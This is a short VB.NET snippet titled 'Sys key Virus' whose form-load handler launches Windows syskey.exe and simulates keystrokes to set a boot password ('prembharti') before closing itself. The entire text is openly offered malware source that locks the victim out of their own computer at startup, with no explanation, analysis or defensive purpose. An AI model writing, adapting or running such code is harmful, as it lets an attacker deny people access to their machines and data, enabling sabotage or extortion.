Sys key Virus In vb.net

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

Dim ProcID As Integer
ProcID = Shell("syskey.exe", AppWinStyle.NormalFocus)
AppActivate(ProcID)
My.Computer.Keyboard.SendKeys("U", True)
My.Computer.Keyboard.SendKeys("P", True)
My.Computer.Keyboard.SendKeys("W", True)
My.Computer.Keyboard.SendKeys("prembharti", True)
My.Computer.Keyboard.SendKeys("{TAB}", True)
My.Computer.Keyboard.SendKeys("prembharti", True)
My.Computer.Keyboard.SendKeys("{Enter}", True)
My.Computer.Keyboard.SendKeys("{Enter}", True)
Me.Close()
End Sub